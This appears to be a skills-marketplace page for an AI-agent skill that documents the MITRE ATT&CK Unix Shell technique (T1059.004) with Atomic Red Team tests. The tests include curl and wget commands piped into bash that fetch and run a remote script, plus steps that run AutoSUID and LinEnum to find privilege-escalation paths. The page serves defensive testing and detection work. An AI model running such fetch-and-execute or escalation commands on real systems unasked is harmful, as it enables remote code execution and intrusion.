用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill t1059-004-unix-shell命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
基于 SOC 职业分类
| name | T1059.004_unix-shell |
| description | Adversaries may abuse Unix shell commands and scripts for execution. |
| category | input-validation |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1059.004","execution","esxi","linux","macos","network-devices","sub-technique"] |
| technique_id | T1059.004 |
| tactic | execution |
| all_tactics | ["execution"] |
| platforms | ["ESXi","Linux","macOS","Network Devices"] |
| mitre_url | https://attack.mitre.org/techniques/T1059/004 |
| tech_stack | ["esxi","linux","macos","network devices"] |
| cwe_ids | ["CWE-94"] |
| chains_with | ["T1059","T1059.001","T1059.002","T1059.003","T1059.005","T1059.006","T1059.007","T1059.008","T1059.009","T1059.010","T1059.011","T1059.012","T1059.013"] |
| prerequisites | ["T1059"] |
| severity_boost | {"T1059":"Chain with T1059 for deeper attack path","T1059.001":"Chain with T1059.001 for deeper attack path","T1059.002":"Chain with T1059.002 for deeper attack path"} |
Sub-technique of: T1059
Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.
Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
Some systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.
Platforms: ESXi, Linux, macOS, Network Devices
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Creates and executes a simple sh script.
Supported Platforms: linux, macos
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c
+x
sh
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.
Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in /tmp/art-fish.txt.
Supported Platforms: linux, macos
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Supported Platforms: linux
chmod +x #{autosuid}
bash #{autosuid}
Dependencies:
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Supported Platforms: linux
chmod +x #{linenum}
bash #{linenum}
Dependencies:
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.
Supported Platforms: linux
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Unix Shell by examining the target platforms (ESXi, Linux, macOS).
Assess Existing Defenses: Review whether mitigations for T1059.004 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Use application control where appropriate. On ESXi hosts, the execInstalledOnly feature prevents binaries from being run unless they have been packaged and signed as part of a vSphere installation bundle (VIB).
| Finding | Severity | Impact |
|---|---|---|
| Unix Shell technique applicable | High | Execution |
| CWE ID | Title |
|---|---|
| CWE-94 | Improper Control of Generation of Code |